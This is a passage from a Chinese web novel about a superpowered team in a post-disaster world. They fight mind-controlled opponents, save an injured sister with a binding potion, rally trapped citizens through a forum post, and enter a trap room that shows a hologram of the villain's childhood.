消防站内有几颗不大不小的树,周围还种了一片脚踝高的小草小花。
林随遇之所以注意到这个,是因为他发现一旦自己站得靠近这片区域,元真的火就会小心地避开它们。
林随遇悟了。
他开始频繁地绕着那几颗可怜兮兮的树转,元真捏着拳:“你缩那块干什么?”
林随遇“嘿嘿”一笑,莫名发问:“你之前是不是消防员?”
元真一愣:“你怎么知道?”
林随遇指了指站在元真身侧的那人:“因为你跟他们不一样,你很在意火。”
趁着元真微微愣神,林随遇再次发动异能,光束如离弦之箭飞速杀向那人。
光在即将刺入那人身体的时候停下了。
林随遇暗骂一声。
这人的异能估计是控制力场一类的,他能随意改变作用与任何物体的力。林随遇向他发射光束,这人就能操控力场让光束反向射出,甚至控制其追踪林随遇的身影。
这让林随遇防不胜防。
他也尝试过攻击自己,但很明显这计划行不通,因为只要那人看穿他的意图,那人完全可以不动任何力场,让光束正常打中林随遇自己。
这种异能配合上元真攻击力极强的火龙后更是如虎添翼,林随遇被打得节节败退,也正是因此他才会格外注意周围环境对这两人的影响,从而找到了限制元真发挥的场地。
方才是好不容易两人一起愣神的时候,虽然仅仅是一秒的时间,但也足够林随遇将攻击打出。
可让他没想到的是,这光都打到他们面前了也能被停住。
他气得磨磨牙,看着那束倒戈攻向自己的光束,手中光渐渐凝聚成形,一把光剑被他握在手中。
挥舞的瞬间,力场再次生效,即使林随遇当机立断改变了自己的动作,也仍旧是晚了。
他狼狈侧身,光束贯穿了他的手臂,鲜血汩汩。
没有给他反应的时间,火龙夹杂着烈焰已然袭向他。林随遇心下卧槽,额间冷汗落下,抬手运光抵挡。
但此刻即便他反应再迅速,受重伤也是无可避免的。
就在火龙即将撞上他的那一瞬,元真身后大楼发出爆裂之声,火光从里面迸射出来。火龙一瞬间消散,化作点点火苗,转瞬消失不见。
元真下意识转身,丝毫没有犹豫地将所有异能用在了控制楼内熊熊燃烧的大火上。
烈烈火气中,被言灵影响的大脑突然清明。
他突然想起来,自己拥有这项异能的时候说过的话。
“火系异能?正好可以控制火势,不让民众受伤啦!”
这句话贯穿了灾难过后的八年,他怎么会忘记了呢?
林随遇眨眨眼睛,神采奕奕地一拍手:“我果然是欧皇。”
他话音未落,身后杀意骤现,林随遇猛地一惊。
卧槽,忘记那光束还能拐弯了。
他抬眼,对上了力场操控者满是愠怒的目光。
“林随遇!”
空中陡然响起星星点点的声音,林随遇猛地抬头,看到了从高层窗户处探出脑袋的祝无忧,她身后的熊熊烈火,和陡然出现的凌厉长枪。
林随遇瞳孔一缩。
星牌生效。
全场异能消失一分钟。
身后即将刺穿他心脏的光束散作星光,始终束缚着他的力场顿时消失。林随遇对这张全场牌太熟悉了。
他看着对面那人惊慌失措的神色,干脆利落地拔出伏苓的能量枪:“哪里需要一分钟呢。”
“砰。”
他没在意这人缓缓倒下的身影,下意识跑向祝无忧所在的位置。
“哗啦”。
窗户碎裂的声音从高处传来,祝无忧为了躲开那只近在咫尺的长枪,一脚踩空,她看着那把长枪擦过自己的鼻尖,然后身体再没了落脚点,像个没有生命的物体飞速坠落。
这栋楼最高层有十六层,掉落下来也就几秒钟的时间,但就是这几秒,祝无忧的眼前划过无数画面。
有父母笑呵呵地喊着“忧忧”,灾难发生前同学笑着招手喊她“忧忧快来”,伏苓抱着臂,看她的眸色中却带着温柔,她声音淡淡地喊她“忧忧。”
然后她听到了两声近乎崩溃的喊声。
“祝无忧!”
“忧忧!”
她微微抬眼,看到了飞速向她这边移动的程承和林随遇。
但已经来不及了。
泪水莫名落下。
她想,自己可能是这支小队里最没用的一个人的,如果死在这里,或许对他们也没有什么损失。
旅途还可以继续,战力也没有什么变化。
挺好的。
她闭上眼睛,浑身颤抖着接受了自己的死亡。
忽然。
微风拂面,穿过她的身体,如同一双大手温柔地包裹住了她。
四周的风停下向上冲去的动作,如有意识一般聚集在她身下。
她掉入了风场汇聚的气垫中。
她脑子一片空白地落在地面上,程承终于飞奔至此,猛地抓住她的肩膀:“你没事吧?”
祝无忧愣愣摇头,手背隐隐发烫,属于风的痕迹慢慢散开。
“愿风替我陪伴你。”
这句话从不是一句单纯的客套,祝无忧突然泪如雨下。
他是真的一直在她身边。
60. 百世同堂08
全场牌效果消失,林随遇一束巨大的光剑直直贯穿大楼,江则飞速重组墙壁,却被红雾缠绕束缚,不得动弹。
下一瞬,他被狠狠拉下楼,程承没想着直接弄死他,将他扔在一旁。
他看向已经将火势的控制住的元真:“你现在清醒吗?”
元真看了他一眼,点了点头。
程承不咸不淡地“嗯”了声,林随遇有些莫名焦躁:“随安还没看到。”
“我来。”程承周围红雾缭绕,他早就在每个人身上放了血兔,很容易定位到人。
但不知是不是因为在战斗中误伤了,他没办法看到现场的情况,只能找到所在位置。
他点了点右侧的仓库:“在那边。”
林随遇立马向那边冲去,程承垂眸看着祝无忧:“要不要休息会?”
祝无忧摇摇头,她腿还有些软,站起身时颤颤巍巍的:“我跟你们一起去。”
仓库离得不远,但林随遇走得太快,程承和祝无忧很快落后了一大截。
眼看林随遇火急火燎地推开仓库大门,然后整个人僵在原地。
程承意识到不对劲,加快了脚步:“怎么了?”
仓库内满是血迹,断指残骸零零散散地落了一地,可见对战之凶险。
林随遇冷着脸,脚步飞快地扑在林随安身侧,他快速检查了一番伤势,脱去自己贴身的衣服捂在她腹部的伤口上,又将她尽量放平,做完这一系列动作,他才抬眼看向祝无忧:“治疗牌。”
“哦哦!”祝无忧被眼前这一幕吓得眼泪止不住地掉,她双手颤抖着抽出数十张治疗牌,毫不犹豫地对林随安发动。
止血、止痛、加速愈合、伤势锁定……即便这些星牌依次生效,林随遇仍能感觉到林随安的体温在缓缓下降。
他捞过自己方才仍在一侧的外套,将其披在林随安身上维持体温,抬起眼睛看向祝无忧,祈求道:“还有别的办法吗?”
祝无忧颤着睫毛,眼泪一颗一颗砸下来:“没有,治疗牌这有这些了……”
林随遇眼尾泛红,他尽量保持着冷静,语气却近乎绝望:“那其他牌呢?要我做什么都可以,付出什么代价都可以。”
程承垂着眸,尝试与血兔建立精神链接,但不知为何,它像是故意的一般,怎么也不愿意搭理程承。
很明显,它不愿意去救林随安。
他心中涌上一阵烦躁。
对于血兔而言,不管是自己,还是他们朝夕相处的伙伴,又或是仅有过一面之缘的陌生人,都是一样的。
在它的世界里,人恐怕只分为伏苓,和不是伏苓的人。
“程承?”
程承猛地回神,对上了林随遇的眸子。他看着用期盼目光看向自己的两人,皱了皱眉:“什么?我刚刚走神了。抱歉。”
祝无忧看了林随遇一眼,小声道:“你还记不记得……那瓶药水?”
程承的指尖神经质地一抽,脑内浮现出伏苓冷淡的神色,他听见自己问林随遇:“你要用这瓶药水?”
林随遇斩钉截铁地点头:“对,能不能……”
他话卡在喉咙里,不知该如何去说:“程承,我可以答应你所有的要求,只要你愿意……”
“我不是这个意思。”程承打断了他颤抖的话语,他蹲下身来,目光落在林随安苍白的面庞上:“我的意思是,你真的知道这瓶药水代表着什么吗?”
他顿了顿,继续道:“让随安服下这瓶药水后,相当于你们俩就永远绑定在一起了,你的生命、运气,你的一切都会流向她。”
他对上林随遇的目光,语气肯定:“最后,你一定会死。”
林随遇毫不犹豫:“我愿意,这不是什么大问题。”
“我知道,你们军区的人嘛,总是早早地就做好了牺牲的准备。”程承抽出那瓶色彩绚丽的药水,看着它微微出神:“但,随安或许不愿意。”
林随遇愣了一下,程承继续道:“你真的想好了吗?未来,你的妹妹总会经历一次你的死去,她真的不会恨你做出这个决定吗?”
“那总比死了强。”林随遇目光坚定:“我宁愿让她恨我,我也不希望她死在这个地方。”
祝无忧有些害怕地看着两人之间汹涌的气势。
良久,程承将药水递给林随遇:“你自己决定就好,反正……这个药水我也用不到了。”
他站起身,背对着两人:“我出去看看情况。”
直到走出仓库,他才停下脚步。
头顶星宿依旧可见,但已经开始逐渐淡化,天边呈现出一种灰蓝色调,与他们刚来到这里相比,显得更加柔和。
光晕缓慢从地平线上升起,轻轻地渲染着周围的云彩。
程承突然出声:“血兔。”
周围一片寂静,没有任何声音。
程承冷淡道:“别装死,我知道你在听。”
他顿了顿,看着逐渐亮起来的天空,缓缓发问:“如果我处于濒死的状态,你应该也不会救我吧?”
依旧是死一般的沉默,程承没停下,他真诚发问:“要是未来真的有一天,我死了,你会怎么办?寻找新的宿主吗?”
四周响起几声鸟啼,格外空荡。
许久,血兔才小声地“嗯”了一声。
程承笑了一下,他面上没有怒容,反而带着一点期待:“你在意的只有伏苓,所以即使找了新的宿主,你也会不遗余力地拼命保护伏苓,对吗?”
又是很长一段时间的寂静,长到程承都快认为血兔是在默认了,它才再次小声地“嗯”了一声。
程承长长地舒出一口气,他低下头,轻声道:“太好了。”
“什么?”血兔以为自己听错了,畏畏缩缩地问了一句。
“没什么。”程承抬起头,看着天边阳光穿过云层,他笑:“就是觉得,挺好的。”
……
江则扭动着身体试图将死死缠绕着他的红雾分解重组,元真抱着臂看他:“你要不还是别白费功夫了吧。”
江则恶狠狠地看着他:“怎么?你知道这个红雾?”
元真一脸理直气壮:“我不知道啊。”
江则:“……那你说什么?”
眼看这人就要开始继续扭来扭去,元真叹了口气:“你不是都试过了吗?这个异能看上去跟我们不是一个等级。”
“很聪明嘛。”程承走近了些,听到了他们的对话。
看到他走近,元真猛地站了起来:“你好!我叫元真。”
程承瞥了他一眼,点点头:“我知道。”
元真挠挠头:“我跟你介绍过?”
程承摇摇头:“没有,你跟伏苓说话的时候我听到了一点。”
元真:“哦……哦?”
程承没继续这个话题,靠在一旁的消防车上问道:“对了,能不能说说你被言灵控制时的情况?”
似乎是早就猜到程承要问这个,元真没怎么犹豫就开口道:“其实说来也怪,那段时间我是真的觉得那言灵说的话很对,甚至对楚哥出手我都觉得理所应当。”
“你当时……”程承皱了皱眉,似乎在思索该怎么问:“是不是跟丰镐的百姓一样,疯狂地信仰‘父亲’?”
元真直点头:“对对对,当时我甚至觉得那言灵就是我的再生父母。其实说起来吧,我觉得多半是因为昨晚念的那些话,而且监狱里面也经常会播放‘父亲’的话,时间长了,思想被控制也正常,丰镐的百姓多半也是如此。”
“放屁!”一旁的江则突然暴起,满脸被污蔑的愤恨:“‘父亲’才没有对我们洗脑,你简直是血口喷人!”
程承冷冷淡淡地瞥了他一眼,正要说话,血兔突然从他手臂猛地跳出来,慌慌张张地给他连接上了血兔mini版,它飞快道:“伏苓找你。”
说完,它就一猛子又钻了回去。
程承没管它,注意力都集中在了耳侧那道冷静的声音上:“在干嘛?”
程承笑了一声,莫名其妙来了一句:“在想你。”
伏苓:“……你是不是有病?”
程承回了神,耳尖染上了些许薄红,强装冷静道:“怎么了?”
元真好奇地看着他,一幅吃瓜的模样。
伏苓声音带了点揶揄:“听上去你今晚不是很安稳啊。”
程承笑笑:“你不也是?”
别说他们俩了,带上林随遇他们仨,五个人都凑不出一个乖乖呆在房间里的。
“好吧。”伏苓有些遗憾地叹了声,还没等程承回话,她突然正色道:“五点言灵会在我这边现身,到时候他应该就顾不上你们那了。”
程承挑了挑眉,他正思索着怎么避开言灵跟着元真他们一起传送回去,解决方法就自己送上门来了。
他字正腔圆道:“谢谢你,伏苓小姐,帮我解决了一个大难题。”
伏苓:“……整得跟译制片一样,你好像有点亢奋。”
程承:“是有点,刚打了场恶战,血却跟冻住了一样,现在倒是沸腾起来了。”
听到这话,正在程承血液里,因为觉得自己方才跟程承说话太过绝情,而愧疚得滚来滚去的血兔猛地一僵。
伏苓没想太多:“是吗?受伤了吗?”
程承侧目看去,林随遇背着林随安朝这边走过来,祝无忧迈着小碎步在后面扶着她。他顿了顿:“嗯,随安受伤了。之后,应该只有我一个人能去找你。”
伏苓的声音微不可察地紧了紧:“伤得很重?”
“伤得很重。”程承收回目光:“所以我准备让随遇和忧忧都留在这里,我单独去找你。”
元真悄悄举起一只手:“那个,我也去的。”
程承看了他一眼:“对,还有个楚河的小伙伴。”
绕着耳朵的红雾顿了一瞬,传来了楚河的声音:“元真吗?”
程承当机立断将红雾拿远,递给元真:“楚河。”
“哦哦!”元真小心翼翼地捧着那团红雾,一脸愧疚:“楚哥,对不……”
“道歉的话就别说了。”楚河依旧清清冷冷的:“我知道不是你的本意,没受伤就好。”
元真感动道:“楚哥你真是个好人。”
楚河:“……谢谢。”
两人一人一句地聊了起来,那头也没再传出伏苓的声音,程承抿了抿唇,走向了林随遇他们。
林随安还垂着脑袋昏迷,程承问道:“怎么样?”
祝无忧皱着一张小脸:“药水已经给她喂下去了,醒来还需要一段时间,不过情况好歹是稳定下来了。”
程承点点头,松了口气:“那就好。”
林随遇垂着眸没说话,他沉默了半晌,才轻声道:“程承,之后我们可能……”
“我知道。”程承打断了他的话:“就算随安醒了我也不可能让她跟我们一起再去冒险的,太危险了。”
林随遇眸色中依旧阴云不散,他正还欲再说些什么,程承再次接过了他的话茬:“而且她一个人留在这里也不安全,所以我打算让你和忧忧都留下。”
“为什么?”
“那怎么行?”
两道声音同时响起。祝无忧看了林随遇一眼,咬牙:“你先说吧。”
林随遇也没客气:“你一个人去太危险了,随安这里留我一个就行了。”
“就是就是,”祝无忧也等不及般地插进来:“怎么连我也不带?”
“你们吵架了?”元真小心翼翼挪过来。
程承看他:“结束了?”
元真点点头,将那团红雾还给程承:“对。”
哦。
程承脸木了一瞬,不死心问:“伏苓没接过来吗?”
“啊?”元真眨了眨眼睛,挠头道:“楚哥问了一句,伏苓姐说你在忙就直接挂了吧,然后就挂了。”
他有些尴尬地扫了一眼林随遇:“你们继续,你们继续。”
“等等。”程承从挫败中回过神,点了点元真,对林随遇道:“不是我一个人,还有他。”
林随遇皱了皱眉。
程承看向祝无忧,语气柔和了些:“不是不想带你,是因为接下来太危险了,直面那言灵和他手下那群疯子,你可能没办法全身而退。”
祝无忧不服气:“谁说的……”
程承散漫地指了指在地上扭来扭去试图解开红雾的江则:“言灵手下有很多‘高等区’的人,实力都是这个水平。”
祝无忧住嘴了。
但她还想挣扎一下:“那这样的话你岂不是更危险?”
程承笑了笑:“这也是没办法的事情,但让你们仨都留下其实还有一个原因。”
林随遇抬眼,程承指着在地上扭成一团的江则:“这人我们带不走,交给你们了。还有,在论坛发个帖子,召集其他被困在丰镐的人犯规。”
他揉揉祝无忧的脑袋:“后面这个任务交给你了,我相信你肯定能调动所有人的情绪。”
祝无忧拍拍胸脯:“没问题……哦对了,那我能提伏苓的名字吗?她的名字比较有号召力。”
程承点点头:“都可以。”
林随遇静静看着他,沉默了片刻才缓缓舒出一口气,他哑着嗓子:“行。”
看着趴在地上死死盯着自己的江则,祝无忧尴尬一笑:“那、那他……”
她目光在那片红雾上打转:“那你这红雾会不会突然失效啊?”
她转过头去,对上程承的目光。
后者微微挑眉:“你说呢?”
“好吧。”祝无忧微笑:“那就交给我吧!”
几人在周围找了个酒店,前台没有人,程承自己上手开了间套房。
等将几人安顿下来,程承看了眼时间:“我们一会走了,你们注意安全。”
林随遇点点头,自从林随安昏迷后,他总是这副思虑极重的模样,程承有些担心:“真不用担心,不会有事的。”
林随遇有些心不在焉地点点头:“我知道。”
程承看他这敷衍的态度就知道他肯定没听进去,便朝着祝无忧眨眨眼睛,祝无忧比了个“OK”的手势,信誓旦旦地拍着胸脯:“交给我。”
程承笑了笑,又分了团红雾缠上江则的身体。江则没想到这也能波及到自己,险些破口大骂。
处理完这边的事情,程承才带着元真一起离开。
林随遇拉了个小凳子坐在林随安身侧出了神,祝无忧思索了片刻,拖着江则去了另一个小房间。
路上椅子墙壁撞得江则青一块紫一块,吼道:“祝无忧!”
“诶诶。”祝无忧应了两声,动作却是依旧没有一点怜香惜玉的意思。她粗鲁地把江则扔在墙角,转身去搬了个凳子。
江则手脚被捆得严严实实,根本没法发力,脸颊直直砸在地面上。他沉闷的声音从地上传来,咬牙切齿又带着一丝委屈:“你别让我逃了。”
祝无忧笑眯眯地拉着凳子坐在他面前,掏出战备机开始啪啪打字,嘴里敷衍道:“好的,我一定不会的。”
江则奋力抬起头又砸回地上,沉默了两秒后:“大爷的……你能不能先扶我起来?”
*
【丰镐召集令by不可说】
1L:代不可说发布,近期我们关注到,有很多民众已经进入的丰镐,相信大家也发现了这个城市的特殊之处,并且急切地希望离开这里。
2L:????
3L:????假的吧?
4L:是我想的那个不可说吗?
5L回复4L:没错。
6L:卧槽???一脸呆滞地点进来,那个我好奇问一下,楼主是不可说的……?
13L:被困丰镐的民众不要惊慌,不可说此时正在‘监狱’中,我们急需你们的帮助,违规即可与之会合。
14L回复6L:我是她的队友。
19L:有病吧故意叫人违规?是想害死我们吗?
25L:人家都这么说了肯定是已经探好路了,楼上要是贪生怕死就待在原地呗,不可说也没强迫你违规。
34L:我看25L才有病,谨慎等于贪生怕死?那你冲呗,我看你ip也不在丰镐,来找什么存在感?
37L:我是不可说的狗!
39L:在外地的少说风凉话,你们根本不知道丰镐里面是什么情况,被困在里面的大伙
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不知道发了多少次求助帖没一个人敢来帮忙,只有不可说来了,就冲这点,我就愿意相信她!
49L;楼上纯纯大傻逼,我们逼你们去丰镐的?人家军区再三强调别去丰镐别去丰镐,你听了吗?还想让我们去救你,凭什么?
51L:阿哲,大家不要吵啦……
56L:37L有病,粉丝少在这理发店。
69L:妈妈终于有人来救我们了呜呜呜我爱不可说!我现在就违规!!
76L:某些人别疯了似的相信别人,不可说最初单人屠杀前瞻集团的事迹你们都忘了?
89L:楼上少翻旧账,当时不可说是执行军区任务!
96L:前瞻集团作恶多端,不可说屠他们怎么了?你他妈是圣母?这也要管?
108L回复96L:辱圣母了,请把圣母还给真正心善的女孩,这种人叫圣父。
124L:圣父个鬼,圣代吧。
136L:@楼主@楼主@楼主,快说一下现在什么情况啊,不然大家怎么相信不可说?
156L:楼主在此!实话告诉你们吧,不可说已经跟‘父亲’1V1打过一架了。
168L:结果是???
189L:结果是!!!!
193L:此时我不得不承认不可说的牛逼,我到这三天了还没见到‘父亲’,她已经跟人家打上了,所以结果是?
214L;‘父亲’是谁?
225L回复214L:就是丰镐的核心掌管着,异能是言灵,贼特么牛逼。
248L:卧槽卧槽,所以结果是?
祝无忧心满意足地后仰:“诶,我就不告诉你们,急死你……哎呦!”
她扑通一下摔在地上。
江则笑得像个大鹅:“个傻子,你还以为这小马扎能有靠背呢?”
祝无忧灰头土脸地爬起来,瞪了他一眼重新坐回去:“关你什么事?”
帖子的回复已经开始飙升,无数人抓心挠肝抓耳挠腮地在问结果。
暴涨的回复数将帖子缓缓顶到论坛顶部。
祝无忧这才慢条斯理地回复了一句:
876L:结果?当然是赢了,‘父亲’落荒而逃。而现在,她在追击。你们不想去的就不去了吧,不碍事的。
她点击发送。满意地看到了无数问号和在瞬间爆发的评论回复。她放下手机,悠悠道:“不愧是我。”
-
楚河看伏苓毫不犹豫地挂断了电话……不是,挂断了红雾,问道:“你不跟程承再聊两句吗?”
伏苓莫名其妙地看着他:“聊啥?”
楚河:“……哦。”
伏苓脚尖踢了踢一旁的隔板,神色淡淡:“随安情况不太好,他应该会去帮忙,哪有时间闲聊?”
她顿了顿,面上露出了些许烦躁:“所以我们要在厕所隔间里面等多久?”
是的,他们俩此时正缩在一个小小的厕所隔间内。
楚河嘴角上扬了三个像素点:“只有这里没有喇叭。”
外面持续不断的声音让他们几乎寸步难行,无奈之下,两人只能可怜兮兮地躲在唯一没有喇叭的厕所里面。
万幸的是,这里的厕所还算干净,还有一股淡淡的类似消毒水的味道,这让伏苓心中好受了些许,她冷嗤:“那言灵我能对付。”
楚河抿了抿唇。
谢邀,他好像不太能。
楚河抬起手腕看了一眼时间,转移话题道:“快五点了,元真他们应该要来了。”
伏苓挑了挑眉:“外面那些人应该要出去集合,我们说不定可以出去。”
她顿了一下,直起身:“我去看看。”
楚河从善如流,温声道:“好的,辛苦你了。”
伏苓有些无语地扫了他一眼,推开隔间门走了出去。
外面一片寂静,低沉的念叨声已然消失,伏苓将一颗脑袋探出去左右看了看,扫到了最后几个还未来得及离开的人。
他们站在一楼正对着大门的墙壁前,黑漆漆的墙壁打开了一条类似于通道的口子,那几人便排着队往里面走。
“看来是去集会了。”楚河的声音从她身侧传来,兴许是意识到危险散去,他将厕所的门拉大了一些,站在了伏苓旁边,微微蹙眉看着人群。
伏苓站直身子:“那我们追?”
楚河犹豫了一瞬:“要不还是等等他们吧,追上去不知道我们几个会不会被分开。”
伏苓点点头,戳了戳趴在她耳朵上的小血兔:“呼叫程承,呼叫程承。”
几乎就在话音落下的那一瞬,程承的声音想起:“我在。”
伏苓弯了弯眼:“来了没?”
程承声音带笑:“马上。”
他顿了顿,语气温柔了几分:“伏苓。”
说起来,伏苓听过很多人喊她的名字,有不带感情的,也有满怀愤怒的,或者也有一些人是带着善意的,但程承跟他们都不同。
他每次唤出“伏苓”两个字的时候,声线微微压低,咬字清晰,带着些许令伏苓酥麻的温柔。
伏苓缓缓眨了眨眼睛:“嗯。”
程承道:“帮我个忙。元真传回去肯定没问题,但是我要蹭进去的话,肯定要逃过言灵的眼睛,虽然这段时间他注意力不在这里,但还是依旧有可能会发现我存在。”
伏苓赞同地点点头:“所以?”
“所以,”程承低低笑了一声,很好听,他道:“帮我吸引一下注意力。”
一分钟后。
在程承踏入传送漩涡的那一瞬,监狱内的电梯被毫不留情地炸毁。
游寂的声音带着忍无可忍从喇叭里传出来:“伏!苓!!”
伏苓笑眯眯地看着砸在地面上的器械,随手一挥击碎了身侧滋啦作响的喇叭:“怎么啦?”
还幸存的喇叭响了两声,似乎想说什么,但又哼哼唧唧地哑了火,像是被气晕过去了。
伏苓等了片刻,周围半点动静都没有,她摊手看向楚河:“他走了?”
楚河差点没憋住笑:“应该是。”
“这么嚣张,他还拿你没办法,能不被气走吗?”程承的声音从身后传来。
伏苓微微挑眉,情绪上扬了些,转过身去看他:“来了。”
程承走近,笑吟吟地“嗯”了一声:“有受伤吗?”
伏苓摇摇头:“你呢?”
程承道:“受了点伤,但忧忧给我抽了几张治疗牌,现在没什么事了。”
伏苓扫了他一眼:“连你也受伤了?看来你们遇到的人实力不弱啊。”
程承低头笑了笑:“是有点。”
他看了看四周,目光落在尚未关闭的黑色通道口:“是往这边走吗?”
伏苓点头,转头对着另外凑一块的两人喊道:“楚河,走了。”
“好。”楚河应了一声,走近了些。
程承抿了抿唇,稍稍低下头:“你们关系这么好了?”
伏苓一边往前走一边挑眉看他:“你这话怎么酸溜溜的?”
程承瘪了瘪嘴:“我为什么酸溜溜你心里不知道吗?”
伏苓偏头笑了一下。
“哦,对了。”程承从怀里掏出能量枪递给伏苓:“林随遇让我还给你的,还说要向你表示真挚的歉意。”
伏苓笑了一声,接过了能量枪:“让他再多陪我们走几段旅程,就当是赔罪了。”
程承微微一愣,还没等他回话,元真就凑了上来,指着那堆坍塌成废墟的电梯:“诶,伏苓姐,这边的电梯是你炸的啊?”
程承:“……”
楚河:“……”
伏苓理直气壮:“是啊。”
元真竖起大拇指:“牛逼。”
这能把‘父亲’气晕过去吧?
事实上,游寂确实快气晕过去了。
他眼中笑意不再,冰冷地盯着伏苓一行人。自从他们几个来到丰镐,虽然不过短短几个时辰,这里的秩序就一而再再而三地被打破。
他的目光落在伏苓身上,眼中杀意渐起。
“伏苓,我一定不会让你再来破坏丰镐的平静。”
61. 百世同堂09
跨入黑色漩涡后,入目是一条漆黑幽暗的狭窄通道。
元真皱了皱脸:“刚刚那一堆人都是从这儿走的?”
楚河打量着周围,回道:“未必。”
程承也“嗯”了一声:“既然我们这些传来传去的漩涡都是由言灵所造,那他也就可以随意的操控我们的抵达点。”
伏苓挑眉:“但我觉得,他未必也会把我们传到另一个地方。”
见其他几人的目光都看向自己,伏苓没什么表情地继续往前走,走廊的两旁每隔近十米就会有一个小小的装扮成火炬的灯,看看将地面照亮。
火光衬得她的瞳孔亮晶晶的,她耸耸肩:“直觉罢了。他顶多会让我们前进的路难走一点,但目的地不会变动。”
其实也很好理解,游寂这个人,虽然伏苓与他几次交手中,他都表现出了残忍的杀意,但毫无疑问的是,他是有保护丰镐百姓的意愿的。
所以当伏苓这颗不定时炸弹到来之时,他必然是更加愿意伏苓待在他眼皮的底下,而不是去祸害其他人。
毕竟伏苓离他如此之近也能这么嚣张,游寂都不敢想要是真把伏苓传送到远处,她能有多为非作歹。
当然,伏苓本人是没有想这么多的。她只是隐隐约约觉得,以游寂对她的杀意,不会放任她继续逍遥快活的。
“对了,”楚河突然侧目看向程承:“这言灵势力这么广,你怎么在他眼皮子底下蹭进来的?”
“这不难。”程承回答道:“元真以任务小队全员牺牲,仅剩他一人需要回来包扎伤口为由,骗开了传送漩涡,在他进入之后,伏苓又替我吸引了言灵的注意力,我便顺势跳进来了。”
元真点点头:“之前被抓进来的时候灯光太盛,我都不知道进来的传送阵是什么样子的,这次倒是看清了,四周密密麻麻的灯,要是我昨晚直视过去,说不定能给我眼睛直接刺瞎。”
正说着,几人便到了走廊的尽头,这里是一个巨大的房间,灯光大亮,房间通体呈蓝白色,四周贴满了瓷砖,对面的出口还紧紧的关闭着。
几人走了进来,身后的门砰的一声关上。元真好奇道:“这里是……”
话还没说完,四面八方突然呲来水柱,楚河下意识开启异能。
时间静止,四周的水滴都停在半空,在灯光的照耀下显得格外晶莹剔透。
伏苓微微俯身看向最靠近自己的那颗水珠,她抬起手碰了碰,水珠被她戳得掉落在地上,珠溅玉碎。
程承与她对视一眼,皱眉:“好像就是普通的水。”
楚河额间沁出汗珠,他咬牙问道:“确定吗?”
程承点了点头。
下一瞬,时间回复,四面八方的水顿时砸在他们的身体上。
伏苓嘴角抽抽:“还是热的。”
元真抹了把脸:“啥意思啊,给我们洗澡呢?”
怎么想的?就这样给他们洗澡,好歹也得分个男女浴室吧?
“不要再……”
虚弱的呼救声从角落传来。
几人立马将注意力转了过去。
一个衣着破烂的小男孩缩在墙角,周围七八个男生正在对他拳打脚踢。
元真下意识上前阻拦:“诶,你们快住手!”
但他伸出去的手却直直地穿过了那些人的身体。元真愣愣地看着自己的手:“诶?这是……”
程承若有所思地看着这一幕:“投影?”
楚河走近观察了一番:“好像是,还是全息。”
被踹得几乎快晕厥过去的小男孩微微侧脸,露出了他的面容。
穿过遮挡的人群,与伏苓对上目光。
伏苓嗤笑了一声。
三人齐齐朝她看过来。
伏苓抱着臂:“我说呢,这不是我们尊贵的‘父亲’吗?”
什么?
程承转头细细观察着这人的面容:“他?那这个小男孩是他的童年?”
元真俯身凑近,惊奇道:“还真是‘父亲’。可是,他为什么要给我们看这些?”
伏苓哼了一声:“还能是干什么?洗白呗,让我们知道他童年经历多么惨,哄我们可怜可怜他,真是无趣。”
她转身就想走,根本没心思去看这一场洗白大戏。
“你们在干什么?”一个男人的声音传来。
围着游寂的男生们停下动作,其中一人气愤地指着缩在地上的人指控道:“叔,又是他。”
伏苓冷笑着侧头看着他们。
男人垂眸看了游寂一眼,叹了口气:“你这孩子,再来找不痛快,我们就真的对你不客气了!”
啊。
伏苓了然。
剧情很熟悉嘛,可怜的他,恶毒的大人,肆意打人的同龄人,一切都是熟悉的配方。
游寂小小的身子里面发出一声冷笑,他阴恻恻地抬头:“怎么?我把你儿子推河里,把隔壁小妹妹的头发剪掉,把瘌□□扔到对面小哥哥的生日蛋糕里面,这些事情,你都能放过我吗?”
伏苓:“……??”
她眼睛微微睁大。
程承木着脸:“这是洗白?”
元真摆摆手:“哎呀,后面肯定会有反转,电视剧都这么演。”
楚河冷着一张脸没说话。
男人似是气急了,上去想踹他,又止住动作。他忿忿:“我看你还是孩子,否则早就一脚踹死你了。你到底为什么要做这些事情?”
游寂缓缓站起身:“没有为什么,我就是看你们不爽。”
说完,他像一头牛一样撞向男人的腹部。
伏苓:“……”
她摇着头感慨:“哇,好激烈一场大戏啊。”
投影消失了,元真挠了挠头:“所以他是有什么苦衷吗?”
“未必。”楚河冷声道,“我只看出了他就是个恶种。”
“这人还挺复杂的,”程承说,“已经让我们在‘他是好人’和‘他是坏人’间反复横跳了好几次了。”
四周还在源源不断地喷水,水珠沾湿了他们的衣服。
温度渐渐上升,伏苓热得随手脱了外套扔在一旁,有些烦躁地捋了捋头发:“这傻逼到底想干什么?”
宽松的裤子被水打湿,贴在腿上,伏苓思索了两秒,把外裤也脱了。她里面只穿了一件修身的无袖背心,露出线条漂亮的手臂肌肉。下身是一条稍稍宽松的短裤,只堪堪过了大腿。
在和平年代,大多数女孩子会更喜欢自己的腿部肌肉线条柔和,但那样的肌肉无法爆发出对抗感染者的力量。与之相反的是,伏苓的腿部肌肉并不显得健壮,却能感受到每一块肌肉的绷紧和松弛,非常漂亮。
程承抿了抿唇,挡在她身前。
楚河和元真默默移开目光。
楚河被周围的热气闷得浑身冒汗,他犹豫了片刻,也脱去了外套:“喷水,加热,这个房间的目的应该就是让我们把外套都脱掉吧?”
程承皱眉:“他为什么要怎么做?”
伏苓嗤了一声,将靴子踢开,赤脚踩在已经铺了一层水的地面上:“等下一个房间放冷气冻死我们?”
元真脱到一半的动作突然顿住:“额,那要不,我还是留着吧。”
楚河瞥了他一眼:“沾湿了的外套,脱了也冷,不脱也冷。”
元真:“……行吧。”
等几人将外套都脱去后,对面的大门才缓缓打开。
伏苓勾了勾唇:“还真是要我们脱外套,死变态。”
程承靠近了她一点,道:“可能他的本意并不只是让我们脱去外套,而是尽量想让我们轻装上阵,从而避免重型武器,或者说避免你的炸弹进入内场。”
伏苓看着他,突然笑了出来。
程承的内衬跟她差不多,不过他只脱了上衣外套,宽松的工装裤被水沾湿,贴在他的大腿上。
他看着算是娃娃脸,但藏在衣服下面的肌肉却跳动着蓬勃的力量感。
不是很夸张的那种肌肉,但是很好看。
伏苓眉眼弯弯,想逗一下程承,却也知道现在的场景实在不太适合他们打情骂俏,只好退而求其次,凑上去低声笑道:“那他的主意可就落空了,毕竟我的炸弹都在手腕上的卡扣里。”
说着,她还举起右手在他眼前甩了甩。
程承盯着她愣了好几秒,才脸颊泛红地移开目光,胡乱“嗯”了两声。
